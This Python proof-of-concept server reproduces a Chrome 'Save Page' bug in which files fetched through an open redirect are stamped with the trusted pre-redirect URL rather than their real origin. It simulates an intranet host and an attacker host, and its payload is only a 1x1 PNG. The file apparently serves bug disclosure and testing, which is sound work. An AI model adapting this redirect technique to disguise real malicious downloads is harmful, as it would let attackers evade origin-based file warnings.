#!/usr/bin/env python3
"""
POC server for SavePackage MOTW pre-redirect quarantine source-URL bug.

Single-port server that dispatches on the Host: header to simulate two origins:
  - trusted-intranet.test  : the "trusted" intranet host with an open redirect
  - attacker-evil.test     : the actual content source after redirect

Chrome is launched with --host-resolver-rules="MAP * 127.0.0.1" so both
hostnames resolve to this server.

The page at http://trusted-intranet.test:8080/poc.html embeds an <img> whose
src points at http://trusted-intranet.test:8080/redirect, which 302-redirects
to http://attacker-evil.test:8080/payload.bin. When the user saves the page as
"Webpage, Complete", SaveFileManager binds the quarantine callback with the
PRE-redirect URL (trusted-intranet.test) instead of the final URL
(attacker-evil.test).
"""

import http.server
import socketserver
import sys

PORT = 8080

POC_HTML = b"""<!DOCTYPE html>
<html>
<head><title>SavePackage MOTW Redirect POC</title></head>
<body>
<h1>SavePackage MOTW pre-redirect quarantine POC</h1>
<p>This page contains a subresource whose &lt;img src&gt; points at
<code>http://trusted-intranet.test:8080/redirect</code>, which 302-redirects to
<code>http://attacker-evil.test:8080/payload.bin</code>.</p>
<p><b>To trigger:</b> Save this page via Ctrl+S &rarr; "Webpage, Complete".</p>
<p>The saved subresource file will be MOTW-annotated using the
<em>pre-redirect</em> URL (trusted-intranet.test) as <code>HostUrl</code>,
rather than the actual content origin (attacker-evil.test).</p>
<img id="poc-img" width="64" height="64"
     src="http://trusted-intranet.test:8080/redirect"
     alt="redirected subresource">
</body>
</html>
"""

# Minimal 1x1 PNG. The bytes are arbitrary; what matters is that the
# subresource is fetched cross-origin via a redirect.
PAYLOAD = bytes.fromhex(
    "89504E470D0A1A0A0000000D49484452000000010000000108060000001F15C489"
    "0000000A49444154789C6300010000000500010D0A2DB40000000049454E44AE426082"
)


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _host(self):
        return (self.headers.get("Host") or "").split(":")[0].lower()

    def do_GET(self):
        host = self._host()
        sys.stderr.write(f"[server] {self.command} host={host!r} path={self.path!r}\n")

        if self.path == "/poc.html":
            self._send(200, "text/html; charset=utf-8", POC_HTML)
            return

        if self.path.startswith("/redirect"):
            # Open redirect on the "trusted" intranet host.
            target = f"http://attacker-evil.test:{PORT}/payload.bin"
            self.send_response(302)
            self.send_header("Location", target)
            self.send_header("Cache-Control", "no-store")
            self.send_header("Content-Length", "0")
            self.end_headers()
            return

        if self.path == "/payload.bin":
            # Content actually served by the attacker host.
            self._send(200, "image/png", PAYLOAD,
                       extra=[("Cache-Control", "no-store")])
            return

        self._send(404, "text/plain; charset=utf-8", b"not found\n")

    def _send(self, code, ctype, body, extra=()):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        for k, v in extra:
            self.send_header(k, v)
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass  # suppress default access log; we print our own above.


class ReusableTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    with ReusableTCPServer(("0.0.0.0", PORT), Handler) as httpd:
        sys.stderr.write(f"[server] listening on 0.0.0.0:{PORT}\n")
        httpd.serve_forever()